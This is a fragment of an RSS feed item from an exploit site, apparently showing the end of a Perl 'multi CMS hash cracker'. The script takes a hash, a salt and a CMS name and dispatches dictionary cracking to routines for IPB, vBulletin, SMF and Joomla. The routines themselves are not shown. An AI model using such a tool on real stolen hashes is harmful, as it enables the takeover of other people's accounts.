		<span style="color: #339933;">/</span>^<span style="color: #339933;">-</span>h$<span style="color: #339933;">/</span> and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$hash</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arg</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>  last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">/</span>^<span style="color: #339933;">-</span>s$<span style="color: #339933;">/</span> and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$salt</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arg</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">/</span>^<span style="color: #339933;">-</span>c$<span style="color: #339933;">/</span> and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$cms</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arg</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$arg</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #666666; font-style: italic;"># Main
</span>
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[!] Cracking <span style="color: #006699; font-weight: bold;">$hash</span> with <span style="color: #006699; font-weight: bold;">$salt</span> as username/salt...<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<a href="http://www.php.net/opendir"><span style="color: #990000;">opendir</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/dir"><span style="color: #990000;">DIR</span></a><span style="color: #339933;">,</span> <span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Folder not found<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/readdir"><span style="color: #990000;">readdir</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/dir"><span style="color: #990000;">DIR</span></a><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> ne <span style="color: #0000ff;">'.'</span> and <span style="color: #000088;">$file</span> ne <span style="color: #0000ff;">'..'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$FILES</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$clean</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$file</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$clean</span><span style="color: #339933;">++;</span>
     <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$cms</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #339933;">/</span>^IPB$<span style="color: #339933;">/</span>    and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>ipb_cracker<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hash</span><span style="color: #339933;">,</span><span style="color: #000088;">$salt</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
  <span style="color: #339933;">/</span>^VB$<span style="color: #339933;">/</span>     and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>vb_cracker<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hash</span><span style="color: #339933;">,</span><span style="color: #000088;">$salt</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
  <span style="color: #339933;">/</span>^SMF$<span style="color: #339933;">/</span>    and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>smf_cracker<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hash</span><span style="color: #339933;">,</span><span style="color: #000088;">$salt</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
  <span style="color: #339933;">/</span>^JOOMLA$<span style="color: #339933;">/</span> and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>joomla_cracker<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hash</span><span style="color: #339933;">,</span><span style="color: #000088;">$salt</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
  <span style="color: #339933;">/</span>^<span style="color: #339933;">.</span>$<span style="color: #339933;">/</span>      and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[-] CMS not available<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span> <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">print</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Exit
</span>
close<span style="color: #009900;">&#40;</span>DICT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.php.net/closedir"><span style="color: #990000;">closedir</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/dir"><span style="color: #990000;">DIR</span></a><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
__END__</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/cracker/multi-cms-hash-cracker-v0-1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
